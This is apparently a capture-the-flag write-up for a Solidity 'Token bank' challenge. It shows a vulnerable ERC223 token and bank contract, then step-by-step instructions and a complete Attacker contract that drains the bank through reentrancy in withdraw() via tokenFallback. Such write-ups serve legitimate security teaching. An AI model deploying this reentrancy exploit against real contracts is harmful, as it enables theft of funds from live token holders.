Token bank
pragma solidity ^0.4.21;
interface ITokenReceiver {
function tokenFallback(address from, uint256 value, bytes data) external;
}
contract SimpleERC223Token {
// Track how many tokens are owned by each address.
mapping (address => uint256) public balanceOf;
string public name = "Simple ERC223 Token";
string public symbol = "SET";
uint8 public decimals = 18;
uint256 public totalSupply = 1000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC223Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return length > 0;
}
function transfer(address to, uint256 value) public returns (bool success) {
bytes memory empty;
return transfer(to, value, empty);
}
function transfer(address to, uint256 value, bytes data) public returns (bool) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
if (isContract(to)) {
ITokenReceiver(to).tokenFallback(msg.sender, value, data);
}
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
contract TokenBankChallenge {
SimpleERC223Token public token;
mapping(address => uint256) public balanceOf;
function TokenBankChallenge(address player) public {
token = new SimpleERC223Token();
// Divide up the 1,000,000 tokens, which are all initially assigned to
// the token contract's creator (this contract).
balanceOf[msg.sender] = 500000 * 10**18; // half for me
balanceOf[player] = 500000 * 10**18; // half for you
}
function isComplete() public view returns (bool) {
return token.balanceOf(this) == 0;
}
function tokenFallback(address from, uint256 value, bytes) public {
require(msg.sender == address(token));
require(balanceOf[from] + value >= balanceOf[from]);
balanceOf[from] += value;
}
function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);
require(token.transfer(msg.sender, amount));
balanceOf[msg.sender] -= amount;
}
}
Goal
Withrdaw all of the SET tokens that TokenBankChallenge contract has in possession
Exploit
In order to finish this CTF we will have to use another smart contract. We can name this contract Attacker.
There are two issues with the TokenBankChallenge, first it is re-entrant (withdraw()
function) and second there is flawed business logic in handling the tokens that the bank possesses.
To exploit the contract we need to:
-
create Attacker contract, this contract will be inheriting ITokenReceiver interface and must have tokenFallback() function implemented, create instances from the SimpleERC223Token contract and TokenBankChallenge contract inside the Attacker contract. This contract will:
- have count storage variable to track how many times tokenFallback() is called
- have external transfer() function, we will call this function to transfer SET tokens from the attacker to the TokenBankChallenge contract, inside it we will make a call to the SimpleERC223Token transfer() function
- tokenFallback() function implemented, this is the function were we will cause the reentrancy to happen
- withdraw() external function, this is the function that will initiate the reentrant call
-
withdraw all of the tokens that our account (player) has in possesion, calling the withdraw function from the TokenBankChallenge contract
- transfer all of the tokens from the our account (player) to the Attacker contract, using the transfer() function from SimpleERC223Token
- call the transfer() function from the Attacker contract and transfer all of the SET tokens from the Attacker to the TokenBankChallenge contract, amount should be 500000000000000000000000
- call the withdraw() function from Attacker contract
Attacker contract code
contract Attacker is ITokenReceiver {
SimpleERC223Token private token;
TokenBankChallenge private bank;
uint256 public count;
function Hack(address _token, address _bank) public {
token = SimpleERC223Token(_token);
bank = TokenBankChallenge(_bank);
}
function transfer(address to, uint256 value) external {
token.transfer(to, value, "");
}
function tokenFallback(address from, uint256 value, bytes data) external {
count++;
if(count == 2) {
bank.withdraw(500000000000000000000000);
}
}
function withdraw(uint256 amount) external {
bank.withdraw(amount);
}
}